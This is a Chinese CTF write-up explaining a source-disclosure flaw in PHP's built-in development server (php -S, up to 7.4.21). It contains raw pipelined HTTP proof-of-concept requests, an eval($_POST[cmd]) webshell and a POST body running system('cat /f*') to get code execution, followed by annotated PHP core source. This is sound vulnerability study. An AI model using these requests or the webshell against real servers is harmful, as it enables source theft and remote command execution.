内容来源:某不愿透露姓名学弟

前提

php<= 7.4.21

web服务器是 php -S 起的内置 php web 服务

题目--XCTF分站赛 LilacCTF 2026 Keep

前期信息收集没招了,扫不到目录,我的想法就只有去看响应包,没有看到中间件,只有php版本,那就循着版本号去找洞,找到这个,去试了下报错界面一股子php味,唉,艰难

先贴poc,记得关burp的自动更新content-length

GET /phpinfo.php HTTP/1.1 
Host: pd.research
\r\n
\r\n
GET /xyz.xyz HTTP/1.1
\r\n
\r\n

其中的\r\n必不可少,实际为换行符,在burp请求中打开这个就能看到

请求的结果是会泄露phpinfo.php的内容,如果没有明确的php文件名

不妨换成这个

GET / HTTP/1.1 
Host: pd.research
\r\n
\r\n
GET /xyz.xyz HTTP/1.1
\r\n
\r\n

或者这样

GET /index.php HTTP/1.1
Host: pd.research
\r\n
GET /xyz.xyz HTTP/1.1
\r\n
\r\n

存在这个洞顺便附上解析漏洞实现php解析任意文件造成rce

假设backdoor.txt的内容是这个

<?php
  eval($_POST[cmd]);
?>

访问到发现没有用,也没有别的php文件能用

构造如下请求,会把backdoor.txt当成php文件解析

GET /backdoor.txt HTTP/1.1\r\n 
Host: pd.research\r\n
\r\n
POST /didongji.php HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 25\r\n
\r\n
cmd=system('cat /f*');\r\n

对应文章挺长的,我这里贴个链接,笔者只做简要解释

https://projectdiscovery.io/blog/php-http-server-source-disclosure#proof-of-concept

在php的内核,解析我们第二个请求的时候会走到这一步

static  int  php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) {
...
	if (client->request.ext_len != 3
	|| (ext[0] != 'p' && ext[0] != 'P') || (ext[1] != 'h' && ext[1] != 'H') || (ext[2] != 'p' && ext[2] != 'P')
	|| !client->request.path_translated) {

	is_static_file = 1;
	}
...
}

这一段会检查请求的文件的类型 静态? or php文件

看if里面的条件判断

第一是长度

第二个大致就是文件扩展名 .php 或者 .PHP

好吧突然想讲两句

对于我们的请求,php内核的调用函数流程大致是这样

main(...)
    do_cli_server(...) 
        php_cli_server_do_event_loop(...)
            php_cli_server_do_event_for_each_fd(...)
                php_cli_server_poller_iter_on_active(...)
                    php_cli_server_do_event_for_each_fd_callback(...)
                        php_cli_server_recv_event_read_request(...)
                            php_cli_server_client_read_request(...)

首先请求的第一部分会在 php_cli_server_client_read_request 函数调用 php_http_parser_execute

返回 成功解析的字节数 用于确定请求的处理量以及需要解析的剩余数量

然后,由于我们的第一段请求不包含 Content-Length

if (parser->type == PHP_HTTP_REQUEST || php_http_should_keep_alive(parser)) {
/* Assume content-length 0 - read the next */
		CALLBACK2(message_complete); // Here
		state = NEW_MESSAGE(); // Afterwards the state is reverted back to start_state
}

CALLBACK2(message_complete)函数会被调用,该函数反过来会调用php_cli_server_client_read_request_on_message_complete

static int php_cli_server_client_read_request_on_message_complete(php_http_parser *parser)
{
	...
	php_cli_server_request_translate_vpath(&client->request, client->server->document_root, client->server->document_root_len);
	...
}

这个功能会调用php_cli_server_request_translate_vpath

static void php_cli_server_request_translate_vpath(php_cli_server_request *request, const char *document_root, size_t document_root_len) {  
...  
  		else {
  		
  			pefree(request->vpath, 1);
  			request->vpath = pestrndup(vpath, q - vpath, 1);
  			request->vpath_len = q - vpath;
  			// At this time buf is equal to /tmp/php/phpinfo.php where /tmp/php/ 
  			// is whatever the server's working directory is. 
  			request->path_translated = buf;  
  			// so the request->path_translated is now /tmp/php/phpinfo.php  
  			request->path_translated_len = q - buf;
  			...
  		}  
...

}

它会把我们请求中包含的文件的路径转换成完整的系统路径

/index.php -> C:/root/www/html/index.php

如果我们的请求中是一个目录或者路径 像这样 / 或者 /upload/ 这样的

这个函数(vpath)会接着看该路径或者目录下是不是有像index.php或者index.html一样的东西 有点类似重定向一样hhh

然后我们请求中的路径,目录在它找到后会变成 /index.php 类似的路径(加上了具体的文件名)

poc里的请求就是这样,如果是 / , 那会在这一步变成了类似 /index.php 的路径来被解析

类似!类似!类似!,万一人家不叫 index.php呢 !

在这个php_cli_server_request_translate_vpath功能的最后会设置 request->path_translated 然后继续解析第二部分的请求

和刚才一样进php_cli_server_client_read_request_on_message_complete函数,

然后调用php_cli_server_request_translate_vpath

但这次在php_cli_server_request_translate_vpath函数里面

由于我们前面的请求已经有了路径 /

所以,我们的第二个请求会进到这个地方

...
// loops and checks for index.php, index.html inside working dir
while (*file) { 
	size_t l = strlen(*file);
	memmove(q, *file, l + 1);
	if (!php_sys_stat(buf, &sb) && (sb.st_mode & S_IFREG)) {
		q += l
		break;
	}
	file++;
}

	if (!*file || is_static_file) {
	// In case, index files are not present we enter here

		if (prev_path) {
		pefree(prev_path, 1);
		}

		pefree(buf, 1);
		return; // This time we return from the function 
						// and no request->vpath or request->path_translated
						// is set.
	}
...

最后我们会从php_http_parser_execute函数出来,这时候请求也被解析完了,最后的结果就是

请求长度 -> nbytes_consumed 字节长度 -> nbytes_read

最后的最后,进到了这个函数

static  int  php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) {
...
	if (client->request.ext_len != 3
	|| (ext[0] != 'p' && ext[0] != 'P') || (ext[1] != 'h' && ext[1] != 'H') || (ext[2] != 'p' && ext[2] != 'P')
	|| !client->request.path_translated) {

	is_static_file = 1;
	}
...
}

这一段会检查请求的文件的类型 静态 or php文件

看if里面的条件判断

第一是长度

第二个大致就是文件扩展名 .php 或者 .PHP

由于第二个请求的缘故

vpath 被设置为 /

然后, 如果没有类似index.php的东西

client -> request.txt 设置为NULL

由于第一个请求client->request.path_translated仍然设置为/www/html/phpinfo.php看第二个请求,很明显的不满足的,所以这里 is_static_file 被设置为 1

由于 第二个请求 client->request.txt被检查, 但是 被第一个请求设置的 client->request.path_translated 会被打开,所以原来的php文件的源码就可以看了,这也同样解释了为什么可以利用这个漏洞来将文本文件当成php文件解析

写得烂,轻点骂,谢谢